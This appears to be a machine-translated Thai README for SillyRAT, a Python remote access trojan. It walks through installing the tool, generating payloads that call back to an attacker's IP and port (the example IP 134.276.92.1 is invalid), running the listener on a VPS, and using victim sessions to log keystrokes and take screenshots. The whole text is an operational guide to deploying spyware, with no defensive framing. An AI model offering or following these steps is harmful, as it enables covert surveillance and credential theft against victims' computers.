

หนูข้ามแพลตฟอร์มที่เขียนใน Pure Python RAT ยอมรับคำสั่งควบคู่ไปกับอาร์กิวเมนต์เพื่อทำหน้าที่เป็นเซิร์ฟเวอร์ที่ยอมรับการเชื่อมต่อหรือดำเนินการเป็นไคลเอนต์/เป้าหมายที่สร้างการเชื่อมต่อกับเซิร์ฟเวอร์ คำสั่ง สร้าง ใช้โมดูล pyinstaller เพื่อรวบรวมรหัสเพย์โหลดจริง ดังนั้นในการสร้างไฟล์ payload สำหรับแพลตฟอร์มที่เกี่ยวข้องคุณต้องอยู่บนแพลตฟอร์มนั้นในขณะที่สร้างไฟล์ ยิ่งกว่านั้นคุณสามารถรับไฟล์ต้นฉบับได้โดยตรงเช่นกัน
เครื่องมือถูกทดสอบบน Parrot OS ด้วย Python 3.8 ทำตามขั้นตอนสำหรับการติดตั้ง:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
คุณสามารถรับไฟล์ payload ได้สองวิธี:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
เวอร์ชันที่รวบรวมจะต้องสร้างบนแพลตฟอร์มที่เกี่ยวข้อง ตัวอย่างเช่นคุณไม่สามารถสร้างไฟล์. exe บน Linux ได้ คุณต้องอยู่บน Windows โดยเฉพาะ เครื่องมือยังอยู่ระหว่างการทดสอบ ดังนั้นข้อผิดพลาดทุกชนิดจึงได้รับการยอมรับ ตรวจสอบให้แน่ใจว่าได้เปิดปัญหา การสร้างเวอร์ชันที่รวบรวมสำหรับ Linux:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

แทนที่ที่อยู่ IP และพอร์ตของคุณตามคำสั่งด้านบน
เซิร์ฟเวอร์จะต้องดำเนินการบน Linux คุณสามารถซื้อ VPS หรือ Cloud Server สำหรับการเชื่อมต่อ สำหรับบันทึกเซิร์ฟเวอร์ไม่ได้จัดเก็บเซสชันใด ๆ จากการรันล่าสุด ดังนั้นความคืบหน้าทั้งหมดจะหายไปเมื่อแอปพลิเคชันเซิร์ฟเวอร์ถูกยกเลิก เรียกใช้เซิร์ฟเวอร์ของคุณ:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
การเชื่อมต่อทั้งหมดจะอยู่ในรายการภายใต้คำสั่ง เซสชัน :
$ sessions

คุณสามารถเชื่อมต่อกับเซสชันเป้าหมายของคุณด้วยคำสั่ง Connect และเรียกใช้หนึ่งในคำสั่งที่มีอยู่:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

รับรายการคำสั่งที่มีอยู่:
$ help
ช่วยในคำสั่งเฉพาะ:
$ help COMMAND
Twitter: @hash3lizer
Discord: TheFlash2K#0407